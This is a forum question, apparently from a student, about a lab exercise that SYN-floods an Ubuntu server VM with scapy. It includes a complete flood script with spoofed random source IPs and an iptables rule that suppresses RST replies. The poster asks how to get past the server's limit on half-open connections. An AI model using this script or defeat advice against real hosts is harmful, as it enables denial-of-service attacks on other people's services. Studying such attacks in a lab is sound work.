Ubuntu server limits to 5 SYN_RECV - networking

Question

For a school project I'm trying to do a DOS on an Ubuntu server (18.04) using Ubuntu desktop 18.04 with scapy. They are both placed as VM on VirtualBox.
On server side I have a python SimpleHTTPServer on port 80 that is pingable and reachable via browser by the desktop machine.
I'm trying to DoSing it using this code:
#!/usr/bin/env python
import socket, random, sys
from scapy.all import *
def sendSYN(target, port):
#creating packet
# insert IP header fields
tcp = TCP()
ip = IP()
#set source IP as random valid IP
ip.src = "%i.%i.%i.%i" % (random.randint(1,254), random.randint(1,254), random.randint(1,254), random.randint(1,254))
ip.dst = target
# insert TCP header fields
tcp = TCP()
#set source port as random valid port
tcp.sport = random.randint(1,65535)
tcp.dport = port
#set SYN flag
tcp.flags = 'S'
send(ip/tcp)
return ;
#control arguments
if len(sys.argv) != 3:
print("Few argument: %s miss IP or miss PORT" % sys.argv[0])
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
count = 0
print("Launch SYNFLOOD attack at %s:%i with SYN packets." % (target, port))
while 1:
#call SYNFlood attack
sendSYN(target,port)
count += 1
print("Total packets sent: %i" % count)
print("==========================================")
that basically sends an infinite number of SYN requests to the target machine on the user specified port. Its usage is: sudo python pythonDOS.py <target IP> <target port>.
Before launching this I do sudo iptables -A OUTPUT -p tcp -s <attacker IP> RST RST -j DROP on the attacking machine, to prevent the kernel to send RST request.
The attack seems to work: on wireshark on the attacker machine I can see that packets are sent correctly, but the server doesn't go down.
Running a netstat -antp | grep 80 on the target server I obtain this output:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.51:80 35.206.32.111:50544 SYN_RECV -
tcp 0 0 192.168.1.51:80 138.221.76.4:24171 SYN_RECV -
tcp 0 0 192.168.1.51:80 164.253.235.187:64186 SYN_RECV -
tcp 0 0 192.168.1.51:80 55.107.244.119:17977 SYN_RECV -
tcp 0 0 192.168.1.51:80 85.158.134.238:37513 SYN_RECV -
and if I rerun the command after few seconds:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.51:80 100.58.218.121:10306 SYN_RECV -
tcp 0 0 192.168.1.51:80 35.206.32.111:50544 SYN_RECV -
tcp 0 0 192.168.1.51:80 47.206.177.213:39759 SYN_RECV -
tcp 0 0 192.168.1.51:80 55.107.244.119:17977 SYN_RECV -
tcp 0 0 192.168.1.51:80 85.158.134.238:37513 SYN_RECV -
it seems that the server can handle a maximum of 5 SYN_RECV although I'm doing hundreds of these requests with the attacker machine, so I think this is why I can't DOS the server. The ufw is disabled. My objective is to disable or understand what's happening on the server and disable it in order to perform the DOS attack.
Any help is appreciated, thanks in advance.
UPDATE: I installed tshark on the target server and from that I can see that all the packets I'm sending are received on the server, so they are no lost in communication between the two virtual machines. Also running netstat -i I can see that there are no RX_DROP.